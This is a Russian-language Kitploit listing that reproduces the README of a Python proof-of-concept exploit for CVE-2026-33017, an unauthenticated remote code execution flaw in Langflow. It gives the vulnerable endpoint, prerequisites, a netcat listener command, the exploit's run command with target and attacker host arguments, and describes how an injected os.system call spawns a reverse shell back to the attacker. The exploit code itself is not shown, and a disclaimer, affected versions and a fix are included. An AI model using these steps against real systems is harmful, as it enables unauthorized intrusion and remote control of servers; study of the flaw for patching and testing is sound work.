Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33017 — Эксплойт proof-of-concept на Python для CVE-2026-33017, уязвимости удаленного выполнения кода без аутентификации в Langflow. Доставляет обратную оболочку через внедрение вредоносного узла потока. | Kitploit
Инструменты/GitHubGitHub/c0gnit00/cve-2026-33017
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного Доступа
GitHubc0gnit00/cve-2026-33017

CVE-2026-33017

Эксплойт proof-of-concept на Python для CVE-2026-33017, уязвимости удаленного выполнения кода без аутентификации в Langflow. Доставляет обратную оболочку через внедрение вредоносного узла потока.

Репозиторий
232 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33017 - Неаутентифицированное удаленное выполнение кода в Langflow

⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот репозиторий предназначен только для авторизованного тестирования безопасности и образовательных целей. Используйте только на системах, которыми вы владеете или на тестирование которых имеете явное разрешение. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.

Обзор

CVE-2026-33017 — это уязвимость неаутентифицированного удаленного выполнения кода в Langflow, визуальном фреймворке для создания приложений LangChain.

Конечная точка POST /api/v1/build_public_tmp/{flow_id}/flow позволяет создавать публичные потоки без аутентификации. Если передан необязательный параметр data, конечная точка использует управляемые атакующим данные потока (содержащие произвольный код Python в определениях узлов) вместо сохраненных данных потока из базы данных. Этот код передается в exec() без какой-либо изоляции, что приводит к неаутентифицированному удаленному выполнению кода.

Затронутые версии

  • Langflow <= 1.7.3
  • Исправлено в Langflow >= 1.8.2

Предварительные условия для эксплуатации

  1. Целевой экземпляр Langflow имеет как минимум один публичный поток (обычно для демо, чат-ботов, общих рабочих процессов)
  2. Атакующий знает UUID публичного потока (обнаруживается через общие ссылки/URL)
  3. Аутентификация не требуется — только cookie client_id (любое произвольное строковое значение)

Установка

root@kitploit:~
git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

Использование

1. Настройка слушателя

На вашей атакующей машине запустите netcat-слушатель для получения обратного шелла:

root@kitploit:~
nc -lvnp 4444

2. Запуск эксплойта

root@kitploit:~
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444

Аргументы

АргументОбязательныйОписание
--urlДаЦелевой URL (например, http://localhost:7860)
--flow-idДаUUID публичного потока
--lhostДаIP-адрес вашего слушателя
--lportДаПорт вашего слушателя
--timeoutНетТайм-аут запроса в секундах (по умолчанию: 15)

Пример

root@kitploit:~
# Терминал 1: Запуск слушателя
nc -lvnp 4444

# Терминал 2: Запуск эксплойта
python3 CVE-2026-33017.py \
    --url http://192.168.1.100:7860 \
    --flow-id 550e8400-e29b-41d4-a716-446655440000 \
    --lhost 10.0.0.5 \
    --lport 4444

Как это работает

  1. craft_malicious_node() — Создает вредоносный узел Langflow, содержащий CustomComponent с управляемым атакующим кодом Python. Код включает вызов os.system() верхнего уровня, который выполняется во время построения графа (еще до того, как поток «запустится»).

  2. fire_payload() — Отправляет вредоносный узел в формате JSON на неаутентифицированную конечную точку build_public_tmp со случайным cookie client_id.

  3. Выполнение кода — Сервер обрабатывает предоставленные атакующим данные потока, создает экземпляр пользовательского компонента и вызывает exec() для встроенного кода во время prepare_global_scope(). Присваивание верхнего уровня _r = __import__('os').system(...) немедленно запускает выполнение команды.

  4. Обратный шелл — Полезная нагрузка порождает обратный шелл Python, подключающийся обратно к вашему слушателю.

Детали уязвимости

Первопричина

Конечная точка build_public_tmp спроектирована как неаутентифицированная (для публичных потоков), но она некорректно принимает предоставленные атакующим данные потока через параметр data. Когда data предоставляется, она обходит сохраненные данные потока и передает управляемые атакующим узлы напрямую в построитель графа.

Рекомендуемое исправление

Удалите параметр data из build_public_tmp. Публичные потоки должны выполнять только свои сохраненные данные потока из базы данных, а не данные, предоставленные атакующим.

Ссылки

  • NVD — CVE-2026-33017
  • Релиз Langflow 1.8.2

Лицензия

Этот проект предоставляется только для образовательных и авторизованных целей тестирования безопасности.

Скачать инструмент